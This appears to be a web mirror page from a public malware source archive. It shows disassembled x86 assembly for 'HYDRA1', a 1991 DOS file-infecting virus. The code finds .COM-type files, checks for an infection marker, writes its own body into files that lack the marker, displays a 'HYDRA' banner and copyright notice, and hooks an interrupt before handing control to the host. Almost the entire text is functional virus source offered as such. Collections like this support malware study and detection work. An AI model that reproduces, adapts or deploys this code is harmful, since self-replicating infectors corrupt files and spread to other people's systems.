mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
197 lines
4.6 KiB
NASM
197 lines
4.6 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ HYDRA1 ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 27-Aug-91 ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: AW ÛÛ
|
|
;ÛÛ Copyright (c) ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
psp_cmd_size equ 80h
|
|
data_12e equ 100h
|
|
data_13e equ 193h
|
|
data_14e equ 196h
|
|
data_15e equ 271h
|
|
data_16e equ 293h
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
hydra1 proc far
|
|
|
|
start:
|
|
jmp loc_1
|
|
pop cx
|
|
inc sp
|
|
add [bx+si],al
|
|
data_3 db 'HyDra-1 Beta - Not For Release'
|
|
db '. *.CO?'
|
|
db 0
|
|
data_6 dw 0, 8B39h
|
|
data_8 dw 0
|
|
data_9 db 0
|
|
db 29 dup (0)
|
|
data_10 db 0
|
|
db 13 dup (0)
|
|
data_11 db 'HYDRA$'
|
|
copyright db 'Copyright (c)'
|
|
db ' 1991 by C.A.V.E. $'
|
|
loc_1:
|
|
push ax
|
|
mov ax,cs
|
|
add ax,1000h
|
|
xor di,di ; Zero register
|
|
mov cx,193h
|
|
mov si,100h
|
|
mov es,ax
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
mov ah,1Ah
|
|
mov dx,offset data_9
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA(disk xfer area) ds:dx
|
|
mov ah,4Eh ; 'N'
|
|
mov dx,offset data_3+22h ; ('*')
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
jc loc_5 ; Jump if carry Set
|
|
loc_2:
|
|
mov ah,3Dh ; '='
|
|
mov al,2
|
|
mov dx,offset data_10
|
|
mov al,2
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
mov bx,ax
|
|
push es
|
|
pop ds
|
|
mov ax,3F00h
|
|
mov cx,0FFFFh
|
|
mov dx,data_13e
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, bx=file handle
|
|
; cx=bytes to ds:dx buffer
|
|
add ax,193h
|
|
mov cs:data_8,ax
|
|
cmp word ptr ds:data_14e,4459h
|
|
jne loc_3 ; Jump if not equal
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
push cs
|
|
pop ds
|
|
mov ah,4Fh ; 'O'
|
|
int 21h ; DOS Services ah=function 4Fh
|
|
; find next filename match
|
|
jc loc_6 ; Jump if carry Set
|
|
jmp short loc_2
|
|
loc_3:
|
|
xor cx,cx ; Zero register
|
|
mov dx,cx
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
jc loc_4 ; Jump if carry Set
|
|
mov ah,40h ; '@'
|
|
xor dx,dx ; Zero register
|
|
mov cx,cs:data_8
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
loc_4:
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
push cs
|
|
pop ds
|
|
loc_5:
|
|
mov ah,1Ah
|
|
mov dx,psp_cmd_size
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA(disk xfer area) ds:dx
|
|
jmp short loc_7
|
|
nop
|
|
loc_6:
|
|
push dx
|
|
xor ax,ax ; Zero register
|
|
mov ax,0F00h
|
|
int 10h ; Video display ah=functn 0Fh
|
|
; get state, al=mode, bh=page
|
|
; ah=columns on screen
|
|
mov ah,0
|
|
int 10h ; Video display ah=functn 00h
|
|
; set display mode in al
|
|
mov ax,200h
|
|
mov dh,6
|
|
mov dl,25h ; '%'
|
|
int 10h ; Video display ah=functn 02h
|
|
; set cursor location in dx
|
|
xor dx,dx ; Zero register
|
|
mov dx,offset data_11 ; ('HYDRA')
|
|
mov ah,9
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
mov ax,200h
|
|
mov dh,17h
|
|
mov dl,0
|
|
int 10h ; Video display ah=functn 02h
|
|
; set cursor location in dx
|
|
mov dx,offset copyright ; ('Copyright (c)')
|
|
mov ah,9
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
mov ax,200h
|
|
mov dh,18h
|
|
mov dl,0
|
|
int 10h ; Video display ah=functn 02h
|
|
; set cursor location in dx
|
|
mov ax,3504h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
mov ax,es
|
|
mov dx,bx
|
|
mov ds,ax
|
|
mov ax,2509h
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
mov ax,0
|
|
int 21h ; DOS Services ah=function 00h
|
|
; terminate, cs=progm seg prefx
|
|
loc_7:
|
|
xor di,di ; Zero register
|
|
mov si,data_15e
|
|
mov cx,22h
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
pop bx
|
|
mov cs:data_6,0
|
|
mov word ptr cs:data_6+2,es
|
|
pop bx
|
|
jmp dword ptr cs:data_6
|
|
push ds
|
|
pop es
|
|
mov cx,0FFFFh
|
|
mov si,data_16e
|
|
mov di,data_12e
|
|
sub cx,si
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
mov word ptr cs:[100h],100h
|
|
mov word ptr cs:[102h],ds
|
|
mov ax,bx
|
|
jmp dword ptr cs:[100h]
|
|
int 20h ; DOS program terminate
|
|
|
|
hydra1 endp
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|